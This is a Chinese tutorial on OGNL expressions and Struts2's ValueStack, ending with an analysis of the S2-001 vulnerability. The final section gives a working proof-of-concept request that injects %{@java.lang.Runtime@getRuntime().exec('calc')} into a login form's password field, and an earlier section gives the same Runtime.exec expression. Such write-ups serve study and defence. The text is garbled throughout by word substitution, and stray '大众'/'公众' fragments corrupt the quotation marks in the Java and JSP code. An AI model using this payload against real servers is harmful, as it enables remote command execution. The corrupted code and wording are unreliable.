Struts2这个框架每年都会涌现那么几个漏洞,不得不引起学习的兴趣。
本期将从Struts2的一个罪魁罪魁ONGL表达式开始先容到S2-001漏洞的剖析。
Struts2系列的漏洞涉及Java Web等干系内容,后续会持续更新漏洞剖析以及干系知识背景先容等。

0×00 什么是ognl

OGNL全称是工具视图导航措辞(Object-Graph Navigation Language),它是一种功能强大的表达式措辞,通过它大略同等的表达式语法,可以存取工具的任意属性,调用工具的方法,遍历全体工具的构造图,实现字段类型转化等功能。
它利用相同的表达式去存取工具的属性。

jsp页面ognl表达式取值ognl与struts2破绽的进修 jQuery

0×01 ognl的核心OgnlContext工具

OgnlContext工具是Ognl的核心,须要一个高下文环境。
又分为两个部分,分别是Root工具和Context工具,Root工具所在的环境便是OGNL的高下文环境(Context)。
高下文环境规定了OGNL的操作“在哪里进行”。
高下文环境Context是一个MAP类型的工具,在表达式中访问Context的工具,须要利用#号加上工具名称,即#工具名称的形式。

比如我们有一个User工具: User.Java

public class User { private String name; private Integer age; public User() { super(); } public User(String name, Integer age) { super(); this.name = name; this.age = age; } public String getName() { return name; } public void setName(String name) { this.name = name; } public Integer getAge() { return age; } public void setAge(Integer age) { this.age = age; }}

那针对User工具,Root的办法:

User rootUser = new User(\"大众tom\公众,18);

Context的办法:

Map<String,User> context = new HashMap<String,User>();context.put(\"大众user1\公众,new User(\公众jack\"大众,20));context.put(\"大众user2\"大众,new User(\"大众rose\公众,22));

创建OgnlContext工具:

OgnlContext oc = new OgnlContext();oc.setRoot(rootUser);oc.setValues(context);

取出root中User工具的name和age属性。
这里可以利用getValue这个方法,个中第一个参数是便是OGNL表达式。

String name = (String) Ognl.getValue(\公众name\"大众,oc,oc.getRoot());Integer age = (Integer) Ognl.getValue(\"大众age\"大众,oc,oc.getRoot());System.out.println(age);System.out.println(name);

取出Context工具中的属性值,这里要加上#符号。

String name1 = (String) Ognl.getValue(\"大众#user1.name\"大众,oc,oc.getRoot());String name2 = (String) Ognl.getValue(\"大众#user2.name\"大众,oc,oc.getRoot());Integer age1 = (Integer) Ognl.getValue(\"大众#user1.age\"大众,oc,oc.getRoot());Integer age2 = (Integer) Ognl.getValue(\公众#user2.age\公众,oc,oc.getRoot());System.out.println(name1);System.out.println(name2);System.out.println(age1);System.out.println(age2);

为root中的User工具的name属性赋值。

Ognl.getValue(\"大众name='jerry'\公众,oc,oc.getRoot());String name = (String) Ognl.getValue(\"大众name\公众,oc,oc.getRoot());System.out.println(name);

为Context中的user1工具的name属性赋值。

Ognl.getValue(\"大众#user1.name='reborn'\公众,oc,oc.getRoot());String name1 = (String) Ognl.getValue(\"大众#user1.name\"大众,oc,oc.getRoot());System.out.println(name1);

getValue用来提取OGNL表达式运行后的值。
下面是getValue可以通报的值:

public static java.lang.Object getValue(java.lang.String expression, java.util.Map context, java.lang.Object root, java.lang.Class resultType) throws OgnlException

●java.lang.String expression 表达式

●java.util.Map context 高下文

●java.lang.Object root 表达式根工具

●java.lang.Class resultType 被转换的结果工具的类型

OGNL 的 API 设计得是很大略的,context 供应高下文,为变量和表达式的求值过程来供应命名空间,存储变量 等,通过 root 来指定工具图遍历的初始变量,利用 expression 来见告 Ognl 如何完成运算。

演示ognl如何访问工具的方法:

1.创建一个 OgnlContext工具,context

2.创建一个 obj 工具 obj。
obj 的值即是 Ognl.getValue的值。

3.Ognl.getValue有2个参数。
“‘helloworld’.length()”为表达式语句。

import ognl.Ognl;import ognl.OgnlContext;import ognl.OgnlException;public class Ognltest { public static void main(String[] args) throws OgnlException { OgnlContext context = new OgnlContext(); Object obj = Ognl.getValue(\"大众'helloworld'.length()\公众,context); System.out.println(obj); }}

●ognl可以支持工具方法调用如:

objName.methodName()

●ognl可以支持类的静态方法调用和值访问,表达式格式为:@[类全名(包括包路径)@[方法名|值名]],例如:调用java.lang.String类的format方法。

@java.lang.String@format('foo %s','bar')

0×02 ognl与Struts2的结合

1.ValueStack

Ognl表达式可以单独利用,它也被一些成熟的框架利用,如Struts2。
在Struts2 中有个值栈工具即ValueStack。
而说得普通些,这个值栈便是OgnlContext。

而Ognl原有的root部分对应Struts2的栈,Context对应Struts2的ActionContext。

2.ValueStack特点

ValueStack贯穿全体Action的生命周期(每个Action类的工具实例都拥有一个ValueStack工具),即用户每次访问struts的action,都会创建一个Action工具、值栈工具、ActionContext工具,然后把Action工具放入值栈中;末了再把值栈工具放入request中,传入jsp页面。
相称于一个数据的中转站,在个中保存当前Action工具和其他干系工具。
Struts2框架把ValueStack工具保存在名为struts。
valueStack的request要求属性中。

0×03 JSP页面中获取ValueStack数据

在jsp页面中,对不同ValueStack中的不同类型取值方法不同, 如果是根元素取值,直接写表达式; 非根元素(request,Session,application,att,parmeters)必须用#号,例#request.cn。

<%@taglib prefix=\"大众s\"大众 uri=\公众/struts-tags\公众 %><%@ page contentType=\"大众text/html;charset=UTF-8\公众 language=\公众java\"大众 %><html> <head> <title>jsp页面取值</title> </head> <body>index页面<%--页面,必须要拿到ValueStack--%><%--struts的调试标签,可以不雅观测值栈数据--%><s:debug/><br/>1.取根元素的值<br/> <s:property value=\"大众user.id\公众/> <s:property value=\公众user.name\公众/><br/>2.取非根元素<br/> <s:property value=\"大众#request.cn\"大众/> <s:property value=\"大众#request.request_data\"大众/> <s:property value=\"大众#session.session_data\"大众/> <s:property value=\公众#application.application_data\"大众/><br/><%--attr按顺序自动找request/session/application,找到后急速返回--%> <s:property value=\公众#attr.application_data\公众/><%--获取要求参数数据--%> <s:property value=\"大众#parameters.userName\公众/> </body></html>

0×04 Struts标签

Ognl表达式取值。
利用办法是:

1.引入<%@taglib prefix=”s” uri=”/struts-tags” %>

2.利用标签获取取值,取值的时候要把稳根元素(全局变量)不用#号,其他的都用#号。

0×05 ognl的命令实行

Java的命令实行可以借助java.lang.Runtime类的getRuntime方法。
如下:Run.java

import java.io.IOException;import static java.lang.Runtime.getRuntime;public class Run { public static void main(String[] args) throws IOException { Process s = getRuntime().exec(\"大众calc\"大众); }}

将上述代码按照@[类全名(包括包路径)@[方法名|值名]]书写表达式语句:

@java.lang.Runtime@getRuntime().exec('calc')

0×06 s2-001漏洞剖析

该漏洞实在是由于用户提交表单数据并且验证失落败时,后端会将用户之条件交的参数值利用 OGNL 表达式 %{value} 进行解析,然后重新添补到对应的表单数据中。

这里的表单是用JSP写的,须要对JSP有所理解,还须要去理解一下Struts2标签库常用的几个标签,这里有个参考链接:Struts2标签库常用标签。

例如注册或登录页面,提交失落败后端一样平常会默认返回之条件交的数据,由于后端利用 %{value} 对提交的数据实行了一次 OGNL 表达式解析,这里重新添补动作是要有的,没有则不会触发漏洞。

LoginAction.class

package com.demo.action;import com.opensymphony.xwork2.ActionSupport;public class LoginAction extends ActionSupport { private String username = null; private String password = null; public LoginAction() { } public String getUsername() { return this.username; } public String getPassword() { return this.password; } public void setUsername(String username) { this.username = username; } public void setPassword(String password) { this.password = password; } public String execute() throws Exception { if (!this.username.isEmpty() && !this.password.isEmpty()) { return this.username.equalsIgnoreCase(\"大众admin\公众) && this.password.equals(\公众admin\"大众) ? \公众success\公众 : \公众error\公众; } else { return \公众error\公众; } }}

这段代码的意思是,吸收发往/login.action的用户名和密码,如果两者不为admin,则返回error。

而查看struts.xml文件,创造返回error则跳转到index.jsp文件。

<package name=\"大众S2-001\公众 extends=\"大众struts-default\"大众> <action name=\公众login\公众 class=\"大众com.demo.action.LoginAction\"大众> <result name=\"大众success\公众>/welcome.jsp</result> <result name=\"大众error\"大众>/index.jsp</result> </action></package>

而index.jsp有表单如下:

<s:form action=\"大众login\"大众> <s:textfield name=\"大众username\"大众 label=\公众username\"大众 /> <s:textfield name=\"大众password\公众 label=\"大众password\"大众 /> <s:submit></s:submit></s:form>

终极我们布局要求如下,触发漏洞。

[post][http://127.0.0.1:8080/login.action](http://127.0.0.1:8080/login.action)[data]username=xxx&password=%25{%40java.lang.Runtime%40getRuntime().exec(\"大众calc\"大众)}